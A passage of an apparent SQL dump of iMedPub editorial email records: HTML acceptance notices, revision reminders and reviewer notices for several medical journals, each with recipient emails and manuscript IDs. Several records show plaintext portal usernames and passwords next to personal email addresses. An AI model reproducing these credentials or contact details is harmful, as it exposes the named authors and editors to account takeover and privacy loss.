<b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>gul</b><br />\r\npassword: <b>0Aq374SL</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','drgulilhan@hotmail.com',7030,'2021-03-31',85),(2914,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6840</b><br />\r\n            <br />\r\n            Article Title: <b>ANEMIA EN ENFERMEDAD RENAL CRONICA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neho94@hotmail.com',6840,'2021-03-31',274),(2915,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6960</b><br />\r\n            <br />\r\n            Article Title: <b>AGONISTAS DEL RECEPTOR GLP-1: DESDE SU EFECTO FISIOLOGICO EN EL SISTEMA INCRETINA HASTA SU ROL EN ENFERMEDAD RENAL DIABETICA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neho94@hotmail.com',6960,'2021-03-31',274),(2916,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-6999</b><br />\r\n            <br />\r\n            Article Title: <b>ABSCESO CEREBRAL: UNA REVISI&Oacute;N DE LA LITERATURA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neho94@hotmail.com',6999,'2021-03-31',274),(2917,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7069</b><br />\r\n            <br />\r\n            Article Title: <b>INFECCIONES POSTRANSPLANTE RENAL</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neho94@hotmail.com',7069,'2021-03-31',274),(2918,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7070</b><br />\r\n            <br />\r\n            Article Title: <b>TROMBOEMBOLISMO PULMONAR Y CRISIS HEMOL&Iacute;TICA. &iquest;ASOCIACI&Oacute;N POCO FRECUENTE?: REPORTE DE CASO.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Pajaro</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-03-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','neho94@hotmail.com',7070,'2021-04-01',274),(2921,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-7946</b><br />\r\n            <br />\r\n            Article Title: <b>A real-life approach for evaluation of rapid Ag testing in SARS-CoV2 infection</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>PROST</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','michelprost.spiral@wanadoo.fr',7946,'2021-04-01',48),(2922,'<p>Ref.:  Ms. No. : <b>ipaom-21-7764</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Alahmadi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7764</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>faisal</b><br />\r\npassword: <b>njGvI6rf</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','faisalmosaalahmadi@gmail.com',7764,'2021-04-01',85),(2931,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-7592</b><br />\r\n            <br />\r\n            Article Title: <b>Consideraciones anest&Atilde;&copy;sicas en el paciente con trauma de la columna cervical</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rincon</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-03</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','diego.rinconf@campusucc.edu.co',7592,'2021-04-03',274),(2934,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8048</b><br />\r\n            <br />\r\n            Article Title: <b>LEVEL OF ACTIVE LIFESTYLE AND EXERCISE APPROACH AMONG STUDENTS OF THE UNIVERSITY OF NOVI PAZAR DURING THE COVID-19 PANDEMIC</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Bacovic</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dragan.b@ucg.ac.me',8048,'2021-04-05',48),(2935,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8015</b><br />\r\n            <br />\r\n            Article Title: <b>Analysis of the responses to COVID-19 in Australia, New Zealand, and Indonesia: the tale of the three Island States</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','qiuli.chen@uqconnect.edu.au',8015,'2021-04-05',48),(2936,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8012</b><br />\r\n            <br />\r\n            Article Title: <b>Covid-19 Messages, Mental Health and Foreign Aid</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mosugu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-05</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','teganjmosugu@gmail.com',8012,'2021-04-05',48),(2938,'<p>Ref.:  Ms. No. : <b>ipaom-21-7764</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Identifying the Significance of Consanguinity for Epilepsy Patients at King Abdulaziz University Hospital in Jeddah, Saudi Arabia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Alahmadi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-21-7764</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>faisal</b><br />\r\npassword: <b>njGvI6rf</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','faisalmosaalahmadi@gmail.com',7764,'2021-04-06',85),(2950,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6909</b><br />\r\n            <br />\r\n            Article Title: <b>GLIA-Deep: Glioblastoma Image Analysis using Deep Learning Convolutional Neural Networks to Accurately Classify Gene Methylation and Predict Drug Effectiveness</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mehta</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','viraj28m@gmail.com',6909,'2021-04-10',75),(2951,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6825</b><br />\r\n            <br />\r\n            Article Title: <b>Relationship between vestibular dysfunction and cognitive impairment in elderly patients: Peripheral vertigo or Central vertigo</b><br />\r\n            <br />\r\n            Corresponding Author: <b>JONGYOON LEE</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-6825</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jianqi@gmail.com',6825,'2021-04-10',75),(2952,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-6825</b><br />\r\n            <br />\r\n            Article Title: <b>Relationship between vestibular dysfunction and cognitive impairment in elderly patients: Peripheral vertigo or Central vertigo</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>LEE</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','anastarsya@daum.net',6825,'2021-04-10',75),(2954,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8064</b><br />\r\n            <br />\r\n            Article Title: <b>Profile of Children Presenting with Gangrenous Intussusception: A Tertiary Hospital Experience.</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>Engin</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>IPJUS-21-8064</b> for the <b>Journal of Universal Surgery</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','omerengin@hotmail.com',8064,'2021-04-10',319),(2955,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-21-8064</b><br />\r\n            <br />\r\n            Article Title: <b>Profile of Children Presenting with Gangrenous Intussusception: A Tertiary Hospital Experience.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kevin Emeka</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-04-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chukwubuikeonline@yahoo.com',8064,'2021-04-10',319),(2958,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8041</b><br />\r\n            <br />\r\n            Article Title: <b>Seroprevalence of cytomegalovirus among schizophrenic patients in Khartoum State</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mosab Hamad</b><br />\r\n            <br />\r\n            Journal Title: <b>Annals of Clinical and Laboratory Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Latinovic</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaclr-21-8041</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> olga_s<br />\r\n            <b>Password:</b> L3lYDvnM<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','olatinovic@ihv.umaryland.edu',8041,'2021-04-12',984),(2962,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, 